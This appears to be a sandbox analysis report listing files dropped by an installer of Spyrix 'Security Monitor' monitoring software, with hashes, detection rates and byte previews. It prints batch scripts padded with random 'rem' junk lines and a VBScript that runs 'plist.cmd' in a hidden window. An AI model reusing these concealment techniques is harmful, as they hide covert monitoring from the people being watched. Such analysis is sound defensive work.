Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hN.. ... ... ...[... ..q.... ..q.... ..q.... ...!.>. ..q..>. ..q.... ..q.... ..q.... .Rich.. .........................PE..L...L*.O...........!.........b......+........................................`.........................................p$...y..<.......8.................... ..D+...................................u..@...............P............................text...P........................... ..`.rdata..@...........................@..@.data...D\.......@..................@....rsrc...8...........................@..@.reloc...1... ...2..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3CHVB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.4065994592116873
Encrypted:	false
SSDEEP:	24:4nISm6zYtefo8+9n8Qm8NUF8hxR8Y8Y82KIl:uzmIeefw9PmKx7l
MD5:	8CD9FC7BAA20456A91F3AC4DCEB36D1C
SHA1:	B40529BB8752FACB6C2BA3421FDE5670A45D58E3
SHA-256:	B9E55A391E3C165DE3B3D08C49C7695B350623E37DD71A5A051D90A027939710
SHA-512:	B271657DE4EB639C92877C3C83C0F67254A32D0BCEB48999EABDD9095D5B1804B946E4FDEA217E7BE0F7D1877AA0F9CA7AFEE69576AC9962AFBCFAECDFD1B14F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................................................................................................j...d...d...j..............................................d...p...........p...d...~...............................s...d.........................c...q..........................d.................................d......................q...t...................................y...l...................d...................d...~...................d...................d...v...u...d...d...........................d...................d...d...i..................................d...................d...................................d...d...d...................d.......................k...d...p..........d...................d..........................................d...................d...........................................d...................d...........................................d.......................n...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-67IFD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-6RR4V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5329
Entropy (8bit):	5.379707763753434
Encrypted:	false
SSDEEP:	96:nsPCuKyBy4PRWZSx84GmqUIa+zHBZclQmmUc6EYQZCh1t64R8vVIa2akG2T:xuVr5WExXG6UvUmUbrQIvtO9INakGc
MD5:	CD2AC50D3746B1A9663C4D2BF7EA4D55
SHA1:	909F5CFEB390B67FEFC6CD1786760FEBDBB2B875
SHA-256:	F9C158AEFD53582E68F7417E6326620AE4FDE859EE6D02B263EEA838A2C6F136
SHA-512:	E47073C412A92325DA84516358B43CC855B67FA6E44D092005143B35EA021B72BF8607B619F179706E3B66332A24EEB3910E1AF69076D29527C60DFF9EFF8A5F
Malicious:	false
Reputation:	unknown
Preview:	rem kezd4t79qxno0lbfeql5y0mu8g6iesyetjcseogfwt472kiwiubb15brfmh2wac96vhv0vnd2020j6zevgvnwwpffvshcpj0zglw700radviz4u8q9aq6k9n..@echo off..rem 000stm4gugwjkgbh428m90yr2..rem ce1k7rdsfo832vwc3jaouwf6whuhamo859077bf249yhqvmg1kd492xy1n0laxcjqawev0lgwfar618zidzyfwk96n90dum9le1hlxjvxajsku4sr3uiuy0..rem dsawc47q7b7rg3lyyyjwoquee0ll0ap5r0099bt1715bh4jezmssc1nm4xfnyr40tu10yayd38i6wla70zmf5096xpoyd018bdbpms0ennjdswzri1jyzqel..setlocal enabledelayedexpansion..rem 2e6crit365pi9pdx3kzzixkz0bxvti57alc..rem tbd2b125fv5tqy0wwb0v1woi0mnrpd6l8..rem 6g5up6bf14gd8ckrvtcxni6x4495olhkrlg706b9nszf6urghw484qcu0hf29s7vhqna1o5uloku3qzxd8591ivyo0idphj1jw9y22y0fjgsjtjodo855g0r..set iniFile=%ProgramData%\%prg_id%\temp\logger.ini..rem rrje26b6rkhrhihlujks437km32ntyjjtcvi63..rem 5qn9uxfpef8xq5039f88vk9umpfl9dj9r7apxc..rem ioq4mok81bx2zs3knaunm2b4mcsjotkyq0rwnmtauk20e7hftlruhy0eoxwbq17088ic70epr0ikd4ns0o03tu98y18pwfn2vxzg4rpi4bn3em187jjj6y1o..set getValue=0..rem 0h5hrq1blurny0ai0ueen0k8mw0cgjlrjajonp24yq2pewj7tdwn9c2e

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-719F1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5346216
Entropy (8bit):	7.988360707624317
Encrypted:	false
SSDEEP:	98304:9Aukt/stZJew8Q4dDEzRGWhn2C+RQJ0AbFGPIdPcMAWF2X+3ftgKOJT8:yLRTV5dD4RHd2d6bMQpAOQJI
MD5:	11ADE4625528B6E7E1601681867E094E
SHA1:	8B15562DD9E126772489D6AA0471DC0AA6C7D584
SHA-256:	83D34416005C617CB29111CBB4AFC963DFB293C67BB78481734ED927BCA5B67F
SHA-512:	20E4D7EC8C33433EEA1A879008DCA19F235E051FE5F7E58DD950E13993355205CC8792C08EC7C506ADF0B284E845A01C5BBC36DBDD5899294F3EEB0D38CEAD52
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}..f.................rF...................F...@...........................,.......R..........@..........................\|l&......@N.8............rQ..!...........`h......................l&..............................................................@F.........................@............@...PF......2..............@............@....F......J..............@.................G.....................@............P....H..H..................@.................H......"..............@.................H......$..............@.................H......$..............@............@....I..h...&..............@....rsrc.... ...@N.....................@................`h...+..B..............@....data....`...`&..`....K.............@....adata........,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-7GR0S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	44330
Entropy (8bit):	5.402734283969903
Encrypted:	false
SSDEEP:	768:7YLAdR2Vq+XlkbR/JrZrxvBl+EODixVDJjAn4s1QwwwSQffUVzdQWrCZvbXXMs:ULAf2Y+0N5yEOD2DtA4VBaHUVhNChLXR
MD5:	9EF476730ADA792F79ECEC1A17B353DA
SHA1:	1CC1EE286B1AF1612B5C841C446487C8A886FCDE
SHA-256:	93C5A3C337F6377B97960E9EF502B49DBA8B74E1110FB91C87753DF9F512BCC2
SHA-512:	2ADCF1A5BF4C48F37D7CA19868168D5A455A4C259E6DB05958985A5077E5E4AB86E4E3CC5B44FB07D437B1FEAB9FB27C44E2E79F234816B1B49FE2A02BA98054
Malicious:	false
Reputation:	unknown
Preview:	rem gibtqhekf39mgpqap5pxyt2te17k9o7aapwwaxt2uqh9r9ulftm2bkrq1rgk6jho47nxpwejvsj5zxyatyx7v10hl8l8zdaf84vopfithjvmoz48uzg6bg2u..@echo off..rem x2bd8l07ny0pa06la0e5iujfktvb2pxkx20nj52l1zmdoo23hxvkc75pexdzdn0b48fkj0..rem maux0ukutdxt9tbb88k0q2i09t1216lj0qg09sa93u3yvhcp5l51f7aitf1chki5hkjy0c2td23wx9rl9c0y7patqsuftpcx6y0cf1..rem jcqykl0xdea3l63f01mzzek33rov71ykztdzp1wr677iyor7b9ytvp0sxzz0djpcbkrxol0lo2i86lrilpiuhyjnt0cn703qe4rj5xdw2wplwh0dxqnxwkf4..@chcp 65001..rem 90iuh7dibiwuy7yq2e2b2gy600lp47nfpilcfpieauuxvqyrwylx0n50fr2q5azxth0wgzvsbpjk2v..rem z3dfn3scjmyjo9a3frstejhv4ek1ju057o08jay6c2t2fb3ighivzzze3paxxxvd08uxu0eur0a02d8uak0m340rcn0b4fy5bhw36l3jsplk87..rem yszm15xv7y41j1jfecxaynqd0nrzl5pl0pl8sfyxf5zsc299itmk98beo4ie8buu90i7kn760wm62breujvtlwr500gratijbkx0ihkz51gpsm3rzi0p1t0b..@rem UTF-8 encoding..rem c5bsy9uclhsu8v2ionuxjz8..rem kyq0rsrtz3j0lepwuipik3cwyqc36oeagz62c0z7jp2h1ttg00c0n35tfkqiwxxijqj7cxy0q7t7b730ygponok8zdjjlkfgl6omw0pezkdoof9t..rem jnag4uwbmfqgh7y8t4uz46lf5zj18z3s00h2mdyyms

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-7P6I2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://www.spyrix.com/purchase.php?from=sfk_uninstall">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.849870364976637
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzcSL0dyTKVQXGNErnVIXKobn:HRYFVmjzjL0dyTK6XaErVI9
MD5:	7B7C177B6FA25296550B3643448FCA00
SHA1:	FA9744B1844CA32600EE661081CA6BBFD1B317D4
SHA-256:	F7B25ED414E8005EDDBBEA787FA3594C798FC7F683E77835DAA33635A395CE51
SHA-512:	5F61FF8894C530B21F7E4646798ECFA65D88FF55AF807280AA16233818E0F0043EBE6BF764C48BEA4C160EDAA3800BD9894C1BD2D01370F7200CD5E718C7B74A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://www.spyrix.com/purchase.php?from=sfk_uninstall"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9U2JI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5041576
Entropy (8bit):	7.897794442025251
Encrypted:	false
SSDEEP:	98304:qsV54zBHy/xGu5//Sjl9WBOo/lKCJPNKr0NPq5Csnm7vkj:Rj49SMuJ/pv9p1gEn2
MD5:	5788EF0F651292941577684F0499B114
SHA1:	81B688AE137BB2F79C44B8A22737CB1416D2C00B
SHA-256:	625BC8352D48D8F0764CAD81AEE94217D4B139DFD00E51DCAA5128F36CD20952
SHA-512:	7A71FD55F60A0B5CE82FF61381E73B38E16B495784739B0580D391FCD652A4C147FF8E558939B1AF4D085F749B6EE42C142D52037CA1BF0B61C64A49C3D2A7C3
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....<.f..................,..X................,...@...................................M..........@..........................\|...p.....5...............L..!............E.......................................................................................,......*..................@............@....,.....................@............0....,......H..............@............p... ......................@............P....0..<..................@.................0.....................@.................0.....................@.................1.....................@.................1.....................@....rsrc.........5.....................@................E...&... .............@....d....................G.............@....adata..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-BAID0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"http://www.spyrix.com/spyrix-products.php?from=sfk_install">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.920531868608183
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjziJS40dyTKWV7GGWyXKokJr:HRYFVmjzic40dyTKWV7WyuV
MD5:	5691CB02970E3D46042CD411DDD33C42
SHA1:	5F98A89B9505821B32D1A9B9362A9A8881DF2790
SHA-256:	9C16F6639225765BAA8F23C7B37724B0B3E4837B41F90F612C81AEEDDE79CF68
SHA-512:	A36A6B642A23CA333055602214253D4616FB94CEFC3A89614AE8FD314D93E7887B4FDFD394C9D60BA1474A5AE4EF45EE5639E0F84197FBD4D25CE896FDEB29A6
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="http://www.spyrix.com/spyrix-products.php?from=sfk_install"....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-DIATA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	110709
Entropy (8bit):	3.109239298068923
Encrypted:	false
SSDEEP:	384:yy+9VgmfdFYGZaAvurTUh2Asjh74zcW3X0+JaRCBiwmXtmdP:A9OmlFYGZaAG06V74QWNaRCEfwP
MD5:	7E0A58E864F4BD416D0B62A8D90FEBFE
SHA1:	B23CDD7F9AEBF120582C2C2C246F17E846521CF9
SHA-256:	D91EB200D2E6623A83FA036C8446455B3D56067939C027AB83BF7957D6B5D5FF
SHA-512:	0AE59E850429F7BA30C787B38FDAEC896710F4BD4D12F749EFB6C79AE89070CAB24182E05E54BC6E8D2EFA8C29CC420B892A1A583C9AD9A7EA446F095F5E944D
Malicious:	false
Reputation:	unknown
Preview:	............ .o!..v......... .(....!..@@.... .(B...*..00.... ..%..5l.. .... .............. ............... .h........PNG........IHDR.............\r.f..!6IDATx...\|U....37+.DPvd.A..(T....V[[..$lj......E._....Zm.H.bm...........Ev..YC ..y.{M.k..r33.....~.p.9..<3.....z.h....0.[H.=%E..../\6...D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,.... ..e....D.y4X...@.z1..s.b&..GX.CZ9.........DN...3A.....p......a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,...." . H).........,.?H(`.n`...;........ 4.....][..u.(..Z..#nXX..`...`...ye..._.TKA..0..0..D^...4.,.K...3\|..F..B`..._.z..r2......Nn&C.U`.X..`....>..wt?_...K}^[....U....9..[X.X..`......_,.....s.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-DLB82.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 197 x 285, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76673
Entropy (8bit):	7.9848305082884155
Encrypted:	false
SSDEEP:	1536:MAid3jb4CBlw8s1Q/03i/NRj/CWM9oLMqFAT5/EUx:MpoC/l703mx29ZwA9H
MD5:	3A12AA38DC04011E4267D84F9DF29A16
SHA1:	DB2B83756D27969D5701F20925A023B282B2212F
SHA-256:	16F1E3749736EC4BC63E0E64474FEDFED96468EE5901D1E3DADD3490C2B72380
SHA-512:	51A27A92771E6D2475A0B13965064A2C0BD4F9074E4CB344CBFFE046189F5B3A130321C7651C25F37BF66CF312D8A953B77FC4CE99F47C55A2FB63603D8CC47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............."......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........o.d...yIDATx^..t........$.L..43w.....,[.$..B.d.-...................]V.J.......Y_...y..?..O.~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~........<.j.q.......tq..K.Zu.V..>..}..}..........7.&~.b....5.js....x...T\.s.`-.w.............M.'........o.......4.#...._Z....GuSF7....]>.'.............n....;.../..>\|XN.<i.../...kr..u.u..sg.~...?.O?....B..)c....L...7o........+r....y..wO...._n.m.@.>..u......J?...\|.f....)...................t.....k......`.M.........o.....O......X.2.S......\|..G.....ic._.p.G..S^_s..}c..k..5...@..h..U.Z..-_S....\|..R.Ycy.+..2...}..cm..@................;..6;^M.....Yc.).......1.....$T..<...I...>W....k......(..-...p...'....S...\.........F7o..6~]...,(~........f.v.zat#.&....\|}.....O.4...K..,T.#.(9.........x.@.7...Mo......(-...c#...O.....EM.a..OB..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-E4AAL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, xresolution=98, yresolution=106, resolutionunit=2, software=paint.net 4.0.10], baseline, precision 8, 320x240, components 3
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	6.729660321273714
Encrypted:	false
SSDEEP:	48:u8/Pc+/bx0uERAGX6j9UCqgD97QB2xdddddddddddddd5a:u8Hc+zlEJX6lQcW
MD5:	499B10F1F3AE7CA6ACFBA3735EE75F4C
SHA1:	D5CFC9E2DC00A443052765491A915A503EF9C800
SHA-256:	EAF22AE8407F8DD0AC9F4FA7885A2DA8AFE288B09B2C4B87F6F17C5D50F2A988
SHA-512:	F29D30CBB427598E8577606791AF3C8277391BBF1AD7964217EAF78B807A6DFC9B99846F128A5F23BE7A409A3F7DAD81F3E5FC9B2CD15C12742A98A45A7CDDB6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`......Exif..MM..................b...........j.(...........1.........rQ...........Q...........Q..................`.......`....paint.net 4.0.10.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............************************************************........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EO3DV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012072
Entropy (8bit):	6.507543848379717
Encrypted:	false
SSDEEP:	24576:I/+4IbyaBqP3uDjd5DGX0BcSRDEpMFWJQi2GstDTwT7ijxHviMgaMVp/bdK6dF3r:cKJ+SCpnZsgNdK48h9njDQBB
MD5:	C0E67E8723775249CA0AE2C52E7EDD9E
SHA1:	3C460DBE351520494B0DCD8CAF5E1B0A53ACD2E4
SHA-256:	D73E36AC1840D1D34DDF62DF55A8CFD64C17FCA9C92C3159D891964C2A7D0C3F
SHA-512:	1A5AFA83529DB0B4F573D1BBC38BDA6958BE6991343E76A267516043250CE960E859560EE9433DFB93EF42CDBF97DED87CB3871057C8C746C4A75E2AAF548FD4
Malicious:	false
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EO3DV.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......b..........................................@..........................@......$%...........@...............................;......l................!...`..\|&...........................P...............................0..&....................text............................... ..`.itext........... .................. ..`.data....{.......\|..................@....bss.....W...........\|...................idata...;.......<...\|..............@....didata.&....0......................@....tls....<....@...........................rdata.......P......................@..@.reloc..\|&...`...(..................@..B.rsrc...l...........................@..@.............P......................@..@........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-G06CG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.8759757685468275
Encrypted:	false
SSDEEP:	6:j+q9NqhVIZ3WGpDSRR26RuBFCOoVgfBbtLFu:Kqahm5WGDS3vuvCO0Yq
MD5:	BDFC59070BFBBB84ED2FB09198896A81
SHA1:	D8C6E3A0E847199D16DC237C7BEC47A4148EB3D6
SHA-256:	033C50986AD34B15E737466398CF5E06116E560251040899871D97EC33E03B47
SHA-512:	DAEAEEDB6744464E6B524EACE531B902A066BA2E643F7626142D9444F070261EC9B0D6C4EA4A4C9874646A951D62B2D218B0ACC48E0FAFCF5CB9DEA0CF661E96
Malicious:	false
Reputation:	unknown
Preview:	Set objShell = CreateObject("WScript.Shell")..Dim FilePath..FilePath = WScript.ScriptFullName..FilePath = Left(FilePath, Len(FilePath) - 10)..objShell.CurrentDirectory = FilePath..objShell.Run "cmd.exe /c plist.cmd", 0, False

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-GD8FS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H780M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.479003452408153
Encrypted:	false
SSDEEP:	6144:fmptxuYgIrlmSqUM21IU5KWieEsdk5aKa1CZHDAO+OYb:2/uYgIrA/pU548AaKa1QxYb
MD5:	D37B9AE44F3B37F41295334DE9EF14C9
SHA1:	4FD95C78873CE84DDF9FFA755504F5279C4A3332
SHA-256:	5BA50A315B9C02CCCD629FFBBF12A5564FD0A557FECD0582D165FE04BE3D850B
SHA-512:	AF5B2D2321E81E0B407B74B4092E190A5081D248BDDF21A92A7251E5CF6C19DFDECB09E35BABA32D04C4AD7CD8659C568208B3314E37159035E1F61BE6AB387E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m]..m]..m]...]..m]...]..m]...]..m]...]..m]B.0]..m]..l]..m]...]..m]...]..m]...]..m]Rich..m]................PE..L....:.J...........!...............................................................................................@%......T...<.......................................................................@...............8............................text............................... ..`.rdata...h.......p..................@..@.data...\B...@... ...@..............@....reloc...(.......0...`..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HNNTE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1274880
Entropy (8bit):	6.836546460752662
Encrypted:	false
SSDEEP:	24576:te0Xn1+KpPCrpxqqyfATvxlLVNqRadDqef2BLbIEnp1VWMVRdzd:tJ0frxRqRIDXfuI2p1FVRdzd
MD5:	D66922B7D10F688564B1CFB25B2681EC
SHA1:	E97422EF6B23366FCD196DF334BD111FEBF2E880
SHA-256:	E0E0697DBCD35C5C8E6E0E19C8A4186F7902D95227E8D7C0AE1C90E0E56370A1
SHA-512:	5BCDB4D574E95B699EDEC336CA596C1D9446A648D27AD2B32E0D5C14F301F2EF783AE53062D9FE9E6FA956BF04A0B4F4F1B845B5194A72B2F9EAED4D9E9C0EBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..v...v...v.......v.......v...w.>.v..=....v...v...v.....r.v.......v.......v.......v.Rich..v.........PE..L...L*.O...........!.....4...\|.......].......P.......................................%.........................................x.... ..8....................0......pR..................................@............P..4............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data.......p...p...T..............@....rsrc...8.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JLPKJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JVHDE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
